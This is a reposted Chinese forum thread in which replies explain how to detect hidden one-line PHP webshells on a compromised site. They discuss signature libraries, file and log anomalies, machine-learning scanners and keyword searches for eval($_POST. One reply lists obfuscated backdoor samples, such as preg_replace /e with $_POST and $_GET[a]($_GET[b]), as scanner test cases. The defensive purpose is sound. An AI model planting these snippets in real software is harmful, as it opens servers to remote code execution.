Home  >  Article  >  Backend Development  >  PHP的网站,怎么扫描出潜藏的一句话木马?(经历多个程序员,没有纯干净的备份文件,无法比对)

PHP的网站,怎么扫描出潜藏的一句话木马?(经历多个程序员,没有纯干净的备份文件,无法比对)

WBOY
WBOYOriginal
2016-06-06 16:43:591792browse

PHP的网站,怎么扫描出潜藏的一句话木马?(经历多个程序员,没有纯干净的备份文件,无法比对),补充下,XAMPP程序,WIN 2003系统

回复内容:

我就不介绍工具了,搜一搜会有不少。
讲下思路,方便那些写工具或者自查的。
1.首先是把明显有问题的、已知模式的后门揪出来。
基于专家经验的特征总结,网上搜集大量webshell,基本上可以提取出一份特征库,
差不多可以扫掉常见不做处理的后门。
2.处理那些在你已知范围之外的后门,分为2个处理方式,
A 基于行为异常发现。
a)基于文件信息异常(如后缀带;的漏洞利用写法、asa伪造asp文件等,很多种)
b)文件头(如为绕过图片头识别的gif9a,但其实是文本的)
c)文件权限异常的(抓那些和网站用户权限不一样,却存在网站目录的文件)
d)文件行异常少的(抓一句话木马、菜刀马,不管是否变形比较有用)
e)基于访问日志对比发现url访问次数特别少的文件,而且ip集中的(一般就是后门拉,只有黑客会访问)
f)文件创建日期异常,比如下班时间创建的网页文件、特别新的网页文件
e)太多了,大家举一反三吧。
B 基于代码异常发现
基本上,这块大家用比较学术的方法,而且基本是靠算法公式或者机器学习,效果从理论上应该是最靠谱,但是作为一个一线工程师,我不太倾向用此类方法。
基于样本训练的,有朴素贝叶斯和贝叶斯,神经元算法,相当于你积累的特征库,要么经过你肉身的神经元去提供专家经验特征库,要么经过机器学习算法来算,就看是你的经验厉害还是机器的经验厉害。
还有基于IC、信息熵的,这块没实践,可以参考。
3.处理掉经过特殊处理的
还有少部分淫荡的老炮需要对付,那么我们对加密、变形的模式也要针对性进行识别。
a)对经过加密的进行识别
b)对经过变形的进行识别
c)对文件特征进行多文件切割的进行识别,就是互相引用关系需要处理。
……大家扩展吧。

总之招数不限,但是心法比较重要:
1. 过滤95%以上的明显合法文件,用人去确认5%不确定的,并且这里面提供一些分析结果参考
2. 黑名单不如白名单靠谱,因此建立一个干净的代码指纹库也很重要,对比一下能搞定大部分情况

最后出个损招,你代码发布不频繁,那就把代码都刻盘好了,光驱可读不可写。

PS。忽然搜到自己09年写的贝叶斯、舍费尔特征识别,没想到自己当年这么叼……
细节早忘光了,所以那些玩意的效果,你懂的。。。 参考:cnxct.com/pecker-scanne 一般哥都是直接用editplus的文件夹搜索功能搜索
eval($_POST 等敏感关键字,还有通过文件创建时间来判断。
个人觉得,找webshell这些都属于事后诸葛亮
还是得从控制读写权限,禁用危险php函数,降低web服务器运行权限等预防措施入手 这个问题比较难回答,php语言属于松散语言,对于简单的一句话来说用特征用可以查,但对于变形木马就难的多了,当然我一般都不叫php木马而叫后门检查、或者是webshell检查。
对于异常函数eval等方式的检查用正则去匹配就可以,但会产生大量的错报,如图这样,这个是我写了个程序并且构造了一些php一句话来测试。
PHP的网站,怎么扫描出潜藏的一句话木马?(经历多个程序员,没有纯干净的备份文件,无法比对)要检查php木马需要先搞清楚,哪些函数可能会被php木马使用,比如eval、base64_encode(gzuncompress) 这种是使用base64加密php木马函数,还有等等。

对于php变形后门,看到这里你就会发现去查找php木马会是多难的事情了,这里的一部分是可以用正则来匹配的,但是另外一部分你用正则匹配会非常、非常难。
[]
[=${'_'.$_}['_'](${'_'.$_}['__']);?>] Found
[$___=$_*$_+$__+$__+$__+$__+$__+$__+$__;] Found
[$_=($_[+""]|"0x06").($_[+""]|"0x05").($_[+""]^"0x15");] Found
[=${'_'.$_}['_'](${'_'.$_}['__']);?>] Found
[@preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');]
[?]
[@preg_replace("/[pageerror]/e",$_POST['error'],"saft")] Found
[[$_GET[a]($_GET[b])] Found
[@preg_replace("/[email]/e",$_POST['h'],"error")] Found
[]

推荐下项目,这个项目是基于语义解析,然后查找出来恶意函数调用。Pecker Scanner 不是业内从业者,仅从原理说两句。
1、木马必须对外联络,不把所得信息对外传递的,不叫木马。
只破坏,不窃取信息的叫病毒
2、扫描网站中所有的的互联网地址。
3、剩下的,就人工审核吧,如果可以的话,对外联系采用白名单制。 fanghuyun.com/ 在用这个网站 防护扫描都很好 一般就是基于关键字的正则匹配和基于词法语法分析两种方法,个人认为基于词法语法分析的方法更准确些吧,同样推荐楼上几位提到 Pecker Scanner。
===============
另外说点题外话,今天特意花了点时间看了看 PS 的代码,给作者 @陈小鱼 提个 BUG,在对
<code class="language-text">T_STRING
</code>

把和文件操作,调用系统命令相关的代码都找出来,再依次排查。

一些函数变种太多,工具只能扫描一些危险函数关键词
建议你人工审计吧..
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn